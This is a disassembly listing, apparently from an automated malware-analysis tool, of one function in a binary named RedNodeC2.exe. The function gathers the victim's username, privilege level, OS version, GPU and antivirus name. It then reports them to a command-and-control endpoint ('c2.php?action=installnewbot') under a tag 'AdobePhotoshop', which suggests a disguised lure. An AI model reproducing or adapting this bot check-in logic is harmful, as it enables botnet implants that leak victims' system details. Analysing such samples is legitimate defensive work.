Function at 0x1400036e8
Capabilities:
Get session user name

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 8], rcx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x30
mov ebx, 0x104
mov ecx, ebx
call fcn.140001050
mov ecx, ebx
mov r15, rax
call fcn.140001050
mov rsi, rax
test rax, rax
jne 0x140003727
or eax, 0xffffffff
jmp 0x1400039e0
mov rcx, rsi
call fcn.140002a90
lea rcx, str.BOTUID_:
call sym.RedNodeC2.exe_OutputDebugStringA
mov rcx, rsi
call sym.RedNodeC2.exe_OutputDebugStringA
lea rcx, [0x14000539c]
call sym.RedNodeC2.exe_OutputDebugStringA
mov ecx, ebx
call fcn.140001050
lea rdx, [rsp + 0x70]
mov dword [rsp + 0x70], ebx
mov rcx, rax
mov r14, rax
call qword [sym.imp.ADVAPI32.dll_GetUserNameA]
mov ecx, ebx
call fcn.140001050
mov rbp, rax
call qword [sym.imp.SHELL32.dll_IsUserAnAdmin]
mov rcx, rbp
lea rdx, str.Admin
cmp eax, 1
je 0x140003791
lea rdx, str.User
call qword [sym.imp.KERNEL32.dll_lstrcpyA]
call fcn.140003af8
mov r12, rax
call fcn.140003d84
mov r13, rax
call fcn.140004074
mov rcx, r13
mov qword [rsp + 0x78], rax
call qword [sym.imp.KERNEL32.dll_lstrlenA]
mov rcx, r12
mov edi, eax
call qword [sym.imp.KERNEL32.dll_lstrlenA]
mov rcx, rbp
add edi, eax
call qword [sym.imp.KERNEL32.dll_lstrlenA]
mov rcx, r14
add edi, eax
call qword [sym.imp.KERNEL32.dll_lstrlenA]
lea rcx, str._c2.php
add edi, eax
call qword [sym.imp.KERNEL32.dll_lstrlenA]
lea ecx, [rax + 0x104]
add ecx, edi
movsxd rbx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rbx
mov edx, 8
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rcx, rax
lea rdx, str._c2.php
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_lstrcpyA]
lea rdx, str._actioninstallnewbot
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_lstrcatA]
lea rdx, str.Uid
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_lstrcatA]
mov rdx, rsi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_lstrcatA]
lea rdx, str.Gpu
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_lstrcatA]
mov rsi, qword [rsp + 0x78]
mov rcx, rbx
mov rdx, rsi
call qword [sym.imp.KERNEL32.dll_lstrcatA]
lea rdx, str.Tag
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_lstrcatA]
lea rdx, str.AdobePhotoshop
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_lstrcatA]
lea rdx, str.Username
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_lstrcatA]
mov rdx, r14
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_lstrcatA]
lea rdx, str.OsVersion
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_lstrcatA]
mov rdx, r12
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_lstrcatA]
lea rdx, str.Privileges
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_lstrcatA]
mov rdx, rbp
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_lstrcatA]
lea rdx, str.AntivirusName
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_lstrcatA]
mov rdx, r13
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_lstrcatA]
mov qword [rsp + 0x20], rbx
call fcn.140002dd8
mov rdi, rax
test rax, rax
jne 0x140003927
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rdx, str.ServerResponse_is_Null__d__n
mov rcx, r15
mov r8d, eax
call qword [sym.imp.USER32.dll_wsprintfA]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, r14
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rbp
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, r12
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, r13
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rbx
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rsi
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, r15
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, qword [rdi]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rdi
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, 1
mov rbx, qword [rsp + 0x80]
add rsp, 0x30
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret